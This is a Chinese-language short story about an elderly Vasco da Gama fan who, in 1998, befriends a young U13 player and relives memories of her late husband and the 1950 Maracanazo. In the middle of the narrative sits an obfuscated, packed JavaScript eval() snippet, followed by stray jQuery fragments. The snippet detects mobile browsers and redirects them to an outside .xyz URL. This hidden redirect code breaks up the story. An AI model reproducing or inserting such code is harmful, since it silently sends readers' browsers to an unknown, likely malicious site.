1998年是一个足球史重要的年份。
法国世界杯的举办。
这个夏天，整个世界的心脏随着一粒黑白相间的皮球在法兰西的土地上同步跳动。
这一年，历史首次扩军32支球队参赛的世界杯，足球的版图前所未有的辽阔。
对于很多人来说，98年的法兰西之夏是他们梦开始的地方，他们见证了精彩的瞬间，记住了黑马克罗地亚，记住了东道主法兰西队的捧杯……足以被誉为最经典的世界杯之一，疯狂的足球与他们忠诚的追随者，靠着一粒粒美轮美奂的进球，让世界变得火热！
尽管事到如今，它依然充满争议。
午后人们被夏日灼热的白浪席卷，淹没于漩涡之中。
佩萝斯太太关掉收音机，换上衣服整理着装，与往常不同，她今天特地穿上了那件黑白球服，因为今天她有一个期待已久的约会。
与一个男孩约定在他们u15赛程里去现场观看与达伽马死敌弗拉门戈的决赛。
镜头后转，锁定在她的衣柜里，还摆放着一件整洁的、有些褪色的巴西国家队10号球服，不要误会，这件衣服象征的主人并不是现在的里瓦尔多，而是当时达伽马的球员阿德米尔·德梅内塞斯。这位达伽马俱乐部历史最伟大射手之一，更是巴西国家队1950年世界杯锋线核心。
佩萝斯拿东西的时候看到这件衣服，愣了一会，她知道这是她丈夫的，她丈夫最喜欢这件球衣了，眼神不禁流露出仰慕和怀念，但转而又变成一丝哀伤。
那场刻骨铭心的决赛，一个球队诞生出能当着全世界的面说“只有三个人，一个动作就让整个马拉卡纳体育场沉寂无声。这三个人分别是：教皇，弗兰克·辛纳特拉，我”也无人敢反驳的人，而另一个球队只能永远背负“马拉卡纳之殇”灰溜溜离开赛场。
阿德米尔是那届世界杯的最佳射手，却带着挥之不去的泪痕回归圣热拿利奥球场，多少巴西球迷永远不会忘记那一天，是他们永恒的痛与记忆坐标。
佩萝斯自从丈夫去世后便开始独自抚养儿子长大，看着他从孩子变成大人，工作、娶妻、生子，繁忙的工作快把她压垮了，即便如此她依然没有怨言。
作为一个女人，在巴西穷苦人家的女人，在战争中的女人，她连吃饭时间都少得可怜，更不用说去看什么足球，那种被男孩津津乐道的皮球在她眼里一文不值，甚至不如抬头随意可见的月亮有价值。
直到遇到她的丈夫，不够英俊，不够聪慧，不够绅士，第一次见面——在那个球场，后来他们在那附近定居，而她那天只是单纯路过——就跟她开那种可怜男人万劫不复的玩笑，如果一巴掌打不醒，佩萝斯会选择再上去踹一脚。幸好他连忙缴械投降，还把幕后主使推了出来，男人们低俗又恶劣的想法让她不适，于是她逃了，非常狼狈地逃了。
那个男人追了上来，向她道歉，佩萝斯没有接受。
接下来很长一段时间，男孩都有意无意出现在她视野。
帮她，救她。安慰他，保护他。
那个时候他们没有书本，没有电影，没有故事，有的只是一句句越来越近的对不起，后来转变为我爱你，再后来变成倒在球场空地上仰望星星，风的声音，鸟的声音，是心跳的声音。
也就是这个时候她和男人来到圣热拿利奥球场，是啊是啊，她哥哥死了，病死了，她父亲暴虐，她母亲垂怜，她最好的朋友跟着父母早就搬走了，除了他还有谁能带她去看一场足球比赛，即使她是一个土生土长的巴西人！
当她站在那里感受到在座千人万人居然为同一时刻捏紧心脏，这太不可思议了！
她还沉浸在梦幻世界里，然后他吻了她！就在进球的刹那。伟大的达伽马球员披荆斩棘，他们获得比赛胜利，男人获得更加热烈的亲吻。
多么幸福，仿佛就在昨天。
黑白相间的皮球，四处跑动的球员，球迷的欢呼或者谩骂，裁判的哨声，烟花和彩带仿佛就在昨天！
佩萝斯很久没去看过比赛了，她独自抚养儿子，她需要不断地工作，在沉默中愤怒的工作、悲伤的工作、累死累活的工作。那个荒废的球场之前是佩萝斯遇到她丈夫的地方，后来是她儿子在这里踢球，他继承了自己父亲的足球基因，虽然踢的不好，但他足够热爱。
今年她六十多岁了，有时候她都记不住自己的年纪。
但她清楚且痛苦的记得马拉卡纳之殇，以及在自己模糊的眼眶里，丈夫那绝望空洞的眼睛里流出来的两条犬牙交错的河，仿佛要淹死自己。
自己上一次站在圣热拿利奥球场是什么时候，大概是带着儿子，在那个男人死了之后，她儿子第一次也是唯一一次对她说想看球赛，佩萝斯那晚什么都没说，第二天就找来了两张票。
她记得那场比赛好像输了，拥有阿德米尔·德梅内塞斯、瓦伦蒂姆、奥古斯托、埃利…的球队输了，在自己国家的主场输了。佩萝斯不知道自己是怀着什么心情回家的，但那天过后儿子就没有提起过去现场看球了。
足球像一根针，缝进三代人的悲欢。
她有时候也会以为像她这样的球迷，不会再被达伽马所需要了，她没有热情，没有支持她的人，没有精力去现场支持，就连儿子都因为她的原因不愿去主场看球，恍惚间她梦见丈夫低垂的眼睛，看着屋外已经荒废的球场。
那天她是被球滚动的声音吵醒的，按理来说她睡眠不算很好但也不至于这么脆弱。
似乎是命运让她拖着衰老的身体出门，她看见荒废球场上多了瘦小一个身影，
真意外，没想到这个地方还有新的小朋友出现，她还以为四十年的时光已经足以让她把周围人都记住了。
男孩有时清晨出现，有时夜幕降临才来。
第一天如此，第二天如此，第三天如此……
直到第四天男孩才注意有位老人家在看着他，被发现的他显得局促不安，在原地踌躇良久才鼓起勇气走来。
“对不起。”他大汗淋漓，脸颊不知是因羞赧还是运动而涨得通红。
“为什么道歉？”佩萝斯温和地问他。
“我不知道这个球场是有主人的。”
佩萝斯不禁莞尔，这里又不是什么足球俱乐部，街头的荒废球场属于任何人，包括这个有些偏僻的球场。
她觉得这孩子单纯的有些可爱，她抬头打量着黑发男孩：
“不，孩子，这个球场属于所有人，包括你。”
“不过，“她话锋一转，“你是从哪里来的？我怎么从没见过你？“
男孩呼出一口气，他解释自己是最近才搬过来的，住在约翰·马奎斯的家里。
佩萝斯表现得很惊讶：“我都不知道约翰那小子的儿子已经这么大了！”
难怪他突然辞职，她眼珠一转暗自思忖。
男孩的脸顿时变得比刚才还红，似乎全身的血液都涌上脸颊。
“不！我不是约翰先生的儿子……我是……”
西尔维奥联想到那张纸，上面明确写着约翰·马奎斯就是他的监护人。
“他确实是我的…但不是那种！”
西尔维奥给佩萝斯解释什么是监护人，因为他也不知道该怎么称呼约翰，他的监护人？他的经纪人？还是他的父亲？那个单词太遥远了，西尔维奥无法念出来。
哦上帝，可怜的孩子。
他甚至不知道自己说出来的话多么伤人。
你知道的，作为一个人，一个女人，一个母亲，让她漠视一个孤苦伶仃的孩子是无法做到的。
于是她靠近问西尔维奥，需不需要点面包？
西尔维奥礼貌地摇头，他说再过半个小时就要去训练，现在他不是很饿。
“训练？什么训练？”佩萝斯没反应过来，下意识问他，
说到这个，男孩的眼睛突然亮了起来。
“因为我是瓦斯科·达伽马的球员！虽然只是u13，但约翰先生说过，他相信我能成为达伽马的一线队球员，会打上正式比赛的。所以我在努力！卡瓦略他们太强了，如果不努力我跟不上他们……”
西尔维奥兴奋地滔滔不绝，完全没注意到佩萝斯突然变得苍白的脸色，以及她眼中闪过的震惊与难以置信。
“你是球员？我是说，你只是一个孩子…你还这么小，天哪，你是达伽马的球员！达伽马的小球员！”
佩萝斯的声音像是喝醉了酒般飘忽，她的目光似乎不在西尔维奥的身上，转而注视他背后的球场，那里就像站了一个人，像幽灵一样近乎透明，却被她看见了。
“我想起你了，你就是让约翰下课的那孩子。”佩萝斯冷静下来，迅速转移话题。
“什么！我没有，我不是…”
西尔维奥想向她争论，但佩萝斯拒绝了他的请求，只见她指了指屋内的闹钟：
“孩子，你刚才说的时间要到了，我觉得这里离达伽马训练基地并不远但也没有那么近，你该走了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788747|174903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这态度转变来得突兀。虽然她脸上仍挂着笑容，却明显僵硬了许多。幸好西尔维奥看到时间后惊慌失措，无暇注意这些细节。
“等一下，你叫什么名字？孩子。”
西尔维奥回头，匆忙喊道：
“西尔维奥·莱特宁，太太，如果你是达伽马地球迷，有一天你会在球场上看到我的！”
“记得给我加油！”
说罢，头也不回离开了。
这就是和这小子第一次正式相遇。
这段对话就像在她心里种了一枚种子。
佩萝斯一定想不到自己有一天会重新回到这里，作为达伽马的球迷来到u13现场，这场比赛是西尔维奥邀请她来的，西尔维奥说约翰今天不会过来，但他希望今天的看台有认识的人来看他第一次代表达伽马比赛，佩萝斯无奈心软答应了，虽然她接下这句话的一瞬间就后悔了。
来的人不少，年轻的有，年纪大的也有。虽然她没有穿着黑衫军的球服，也没有像年轻时那样激情呐喊，但西尔维奥在场上的表现却让她不由自主地屏住了呼吸。
看看那气势如虹，看看那精妙绝伦的铲球，她什么时候见过来着——埃利！Eiy！瓦斯科人的磐石铁卫！出色的盯人能力、战斗精神和不惜力的奔跑，是在达伽马那支华丽攻击线背后默默付出的英雄！
刹那间，时光倒流。佩萝斯恍惚看见自己坐在圣热拿利奥球场的水泥看台上，身旁是个兴奋得手舞足蹈的男孩。
“看那家伙！真有他的！他绝对是队伍里最厉害的后卫！”
“对。”她轻声应和，眼神却穿过时空，“像埃利一样！”
“什么？像谁？”男孩困惑地转头问她。
佩萝斯突然变得激动起来：“什么！孩子，如果你是达伽马的球迷你就不会不知道埃利！”
男孩不知所措挠挠头，他不明白为什么这个老太太情绪变得激动，不过他固执的坚持自己意见：“但是我没见过你说的埃利！我只见过他！”男孩指着被围在中间的西尔维奥，“他踢的很好！”
这句话像一盆冷水浇醒了佩萝斯。
对啊，埃利已经是四十多年的记忆了。
现在是毛罗·加尔沃、罗马尼奥他们的时代。
佩萝斯愣了好一会，才发觉四十年过的居然这么快，四十年光阴，原来不过是一场球赛的工夫。
佩萝斯下意识攥紧了手中的球衣，将手中的球衣攥出深深的褶皱，又在意识到时缓缓松开。她低头看着自己布满皱纹的手掌，那里曾经也像西尔维奥一样充满力量。记忆中的埃利永远定格在风华正茂的年纪，而她却已经白发苍苍。球场上飞奔的身影与记忆中的画面重叠又分离，就像老式放映机里跳动的胶片。
她喃喃自语，声音消散在球迷的欢呼声中。这一刻，她既是看台上年迈的旁观者，又是四十年前那个为每一个精彩防守尖叫的年轻女孩。她的手掌轻轻抚平球衣上的褶皱，却怎么也抚不平时光刻下的痕迹。
真就应了那句，一代人有一代人的球迷，唯一的共同点是，我们永远深爱着这支球队，无论年龄，无论性别，无论肤色，跨越时间，成就未来。
看着那位黑发少年与他的队友在台下向他们这群球迷鞠躬致意，他们活泼、兴奋，夕阳的余晖洒在球场上，为那群年轻球员的身影镀上一层温暖的金边。那个蓬松头发的男孩正搂着西尔维奥的脖子说笑，其他队员三三两两地走向更衣室，青春的气息扑面而来。
佩萝斯突然笑了，嘴角不自觉地上扬，眼角的皱纹舒展开来。
“真是奇妙啊，“她轻声自语，“四十年前，埃利他们也是这样离开球场的。“
远处的西尔维奥突然回头，朝看台这边挥了挥手。佩萝斯不确定他是否在向自己致意，但她还是抬起手，像四十年前一样，用达伽马球迷特有的方式回应着。
风拂过空荡荡的看台，吹动她银白的发丝。这一刻，她仿佛看到时光长河中，无数个穿着黑白球衣的身影在此交汇——年轻的自己，年迈的自己、记忆中的埃利，眼前的西尔维奥、过去的荣光，未来的希望。
“航海家们，“她对着逐渐空旷的球场轻声说道，“继续前进吧！“
转身离去的背影不再孤单，因为她知道，这支球队的故事，这份热爱，将会由一代又一代人永远传承下去。
她突然有些释怀地想起儿子不愿再提起圣热拿利奥球场的原因。
因为那天晚上她躲在房间里哭了。